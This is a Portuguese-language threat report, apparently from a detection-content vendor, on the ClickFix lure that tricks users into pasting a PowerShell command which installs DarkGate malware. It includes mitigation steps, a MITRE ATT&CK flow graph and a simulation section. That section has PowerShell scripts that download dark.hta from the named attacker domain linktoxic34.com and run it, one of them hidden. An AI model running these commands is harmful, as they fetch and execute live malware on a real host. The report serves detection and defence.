SOC Prime Bias: Medium

16 Dez 2025 21:08

Estudo de Caso ClickFix: Malware DarkGate

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Estudo de Caso ClickFix: Malware DarkGate
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O relatório descreve um método de engenharia social denominado ClickFix que persuade os usuários a copiar e executar um comando PowerShell, que então baixa um arquivo HTA malicioso. Este arquivo HTA, por sua vez, baixa componentes adicionais, incluindo um script AutoIt que cria diretórios, solta arquivos e estabelece comunicações C2. A atividade é atribuída à campanha DarkGate e depende de ofuscação com base64 além de adulteração da área de transferência para evitar detecção direta.

Investigação

Analistas desvendaram várias camadas de conteúdo codificado em base64 embutido em uma página de alerta de extensão de navegador falsa e recuperaram o comando PowerShell responsável por buscar dark.hta de linktoxic34.com. Quando executado, o HTA implanta um executável AutoIt (fckhffh.a3x) que executa uma rotina DES e lança cargas adicionais. A telemetria de rede capturada mostra tráfego HTTP(S) para o domínio malicioso, seguido pela execução encadeada de script PowerShell.

Mitigação

As defesas recomendadas incluem treinamento de conscientização do usuário para desencorajar a cópia de trechos desconhecidos de código, desabilitar a caixa de diálogo Executar do Windows através da Política de Grupo e implementar soluções antivírus baseadas em comportamento. Bloquear proativamente o domínio malicioso e monitorar execuções anômalas de PowerShell pode reduzir significativamente o risco de infecção pelo DarkGate.

Resposta

Se um evento relacionado ao ClickFix for identificado, isole o endpoint afetado, interrompa todos os processos maliciosos, remova os artefatos HTA e AutoIt, e realize análises forenses em quaisquer pastas criadas durante a intrusão. Atualize a lógica de detecção para sinalizar padrões suspeitos de execução de PowerShell e HTA e assegure-se de que o domínio associado seja bloqueado em todo o ambiente.

“graph TB %% Class Definitions classDef asset fill:#f0e68c classDef technique fill:#ffcc99 classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#e6e6fa classDef process fill:#ffdddd %% Nodes webpage_malicious[“<b>Ativo</b> – Página da Web Maliciosa<br/>Incorpora PowerShell codificado em base64 e ofuscação de string invertida”] class webpage_malicious asset tech_html_smuggling[“<b>Técnica</b> – <b>T1027.006</b> Arquivos ou Informações Ofuscados: HTML Smuggling<br/>PowerShell em Base64 escondido em HTML/JavaScript”] class tech_html_smuggling technique tech_stripped_payloads[“<b>Técnica</b> – <b>T1027.008</b> Arquivos ou Informações Ofuscados: Payloads Removidos<br/>Strings aninhadas em base64 ocultam PowerShell”] class tech_stripped_payloads technique action_user_click[“<b>Ação</b> – <b>T1204.001</b> Execução do Usuário: Link Malicioso<br/>A vítima clica no botão u201cComo consertaru201d”] class action_user_click action tech_clipboard_data[“<b>Técnica</b> – <b>T1115</b> Dados da Área de Transferência<br/>Script copia comando PowerShell para a área de transferência”] class tech_clipboard_data technique action_copy_paste[“<b>Ação</b> – <b>T1204.004</b> Execução do Usuário: Copiar e Colar Malicioso<br/>Usuário cola o comando via Win+R e Ctrl+V”] class action_copy_paste action tech_powershell[“<b>Técnica</b> – <b>T1059.001</b> Interpretador de Comandos e Scripts: PowerShell<br/>Executa comando baixado”] class tech_powershell technique process_powershell[“<b>Processo</b> – PowerShell”] class process_powershell process tech_web_protocol[“<b>Técnica</b> – <b>T1071.001</b> Protocolo de Camada de Aplicação: Protocolos Web<br/>Baixa HTA via HTTP(S)”] class tech_web_protocol technique file_dark_hta[“<b>Arquivo</b> – dark.hta<br/>Payload HTA baixado de linktoxic34.com”] class file_dark_hta file tech_mshta[“<b>Técnica</b> – <b>T1218.005</b> Execução de Proxy de Binário do Sistema: Mshta<br/>Executa HTA via mshta.exe”] class tech_mshta technique process_mshta[“<b>Processo</b> – mshta.exe”] class process_mshta process tech_lateral_transfer[“<b>Técnica</b> – <b>T1570</b> Transferência de Ferramentas de Forma Lateral<br/>HTA solta arquivo ZIP com binários adicionais”] class tech_lateral_transfer technique file_payload_zip[“<b>Arquivo</b> – payload.zip<br/>Contém script AutoIt e binários”] class file_payload_zip file tech_masquerading[“<b>Técnica</b> – <b>T1036</b> Mascaramento<br/>HTA apresentado como ferramenta de correção legítima”] class tech_masquerading technique tech_rtl_override[“<b>Técnica</b> – <b>T1036.002</b> Mascaramento: Substituição de Direita para Esquerda<br/>Codificação de string invertida para evadir a detecção”] class tech_rtl_override technique tool_darkgate[“<b>Ferramenta</b> – DarkGate RAT<br/>Fornece acesso remoto persistente”] class tool_darkgate tool tech_remote_access[“<b>Técnica</b> – <b>T1219</b> Ferramentas de Acesso Remoto<br/>Estabelece comunicações C2”] class tech_remote_access technique %% Connections webpage_malicious u002du002d>|usa| tech_html_smuggling webpage_malicious u002du002d>|usa| tech_stripped_payloads webpage_malicious u002du002d>|desencadeia| action_user_click action_user_click u002du002d>|leva a| tech_clipboard_data tech_clipboard_data u002du002d>|permite| action_copy_paste action_copy_paste u002du002d>|executa| tech_powershell tech_powershell u002du002d>|executa| process_powershell process_powershell u002du002d>|baixa| tech_web_protocol tech_web_protocol u002du002d>|recupera| file_dark_hta file_dark_hta u002du002d>|executado por| tech_mshta tech_mshta u002du002d>|executa| process_mshta process_mshta u002du002d>|solta| tech_lateral_transfer tech_lateral_transfer u002du002d>|cria| file_payload_zip file_dark_hta u002du002d>|fingido como| tech_masquerading file_dark_hta u002du002d>|ofusca com| tech_rtl_override file_payload_zip u002du002d>|contém| tool_darkgate tool_darkgate u002du002d>|usa| tech_remote_access “

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Cheque Pré-voo de Telemetria & Baseline deve ter sido aprovado.

Fundamentação: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e narrativas DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa & Comandos de Ataque:
    Um atacante que obteve acesso de baixo privilégio em um host Windows comprometido deseja baixar uma carga de HTA maliciosa usada na campanha ClickFix. Para permanecer furtivo, o atacante utiliza PowerShell—uma ferramenta nativa do Windows—para que nenhum binário externo seja introduzido. O comando é executado diretamente no console (ou via uma tarefa agendada) e inclui a URL exata que a regra monitora. O download é armazenado no %TEMP% do usuário e então executado via Start-Process.

    $url = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta"
    $out = "$env:TEMPdark.hta"
    Invoke-WebRequest -Uri $url -OutFile $out
    Start-Process -FilePath $out
  • Script de Teste de Regressão: (autocontido, reproduz as etapas acima)

    # Simulação de download ClickFix HTA – aciona a regra Sigma
    $maliciousUrl = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta"
    $destPath = "$env:TEMPdark.hta"
    
    try {
        Write-Host "[*] Downloading malicious HTA payload..."
        Invoke-WebRequest -Uri $maliciousUrl -OutFile $destPath -UseBasicParsing
        Write-Host "[+] Download complete. Executing payload..."
        Start-Process -FilePath $destPath -WindowStyle Hidden
    } catch {
        Write-Error "Download or execution failed: $_"
    }
  • Comandos de Limpeza: (remove o HTA baixado e qualquer instância em execução)

    # Remove o arquivo HTA e termina qualquer processo residual
    $htaPath = "$env:TEMPdark.hta"
    if (Test-Path $htaPath) {
        Remove-Item $htaPath -Force
        Write-Host "[*] HTA file removed."
    }
    # Mate qualquer processo que possa ter sido lançado a partir do HTA (exemplo genérico)
    Get-Process | Where-Object {$_.Path -like "*dark.hta*"} | Stop-Process -Force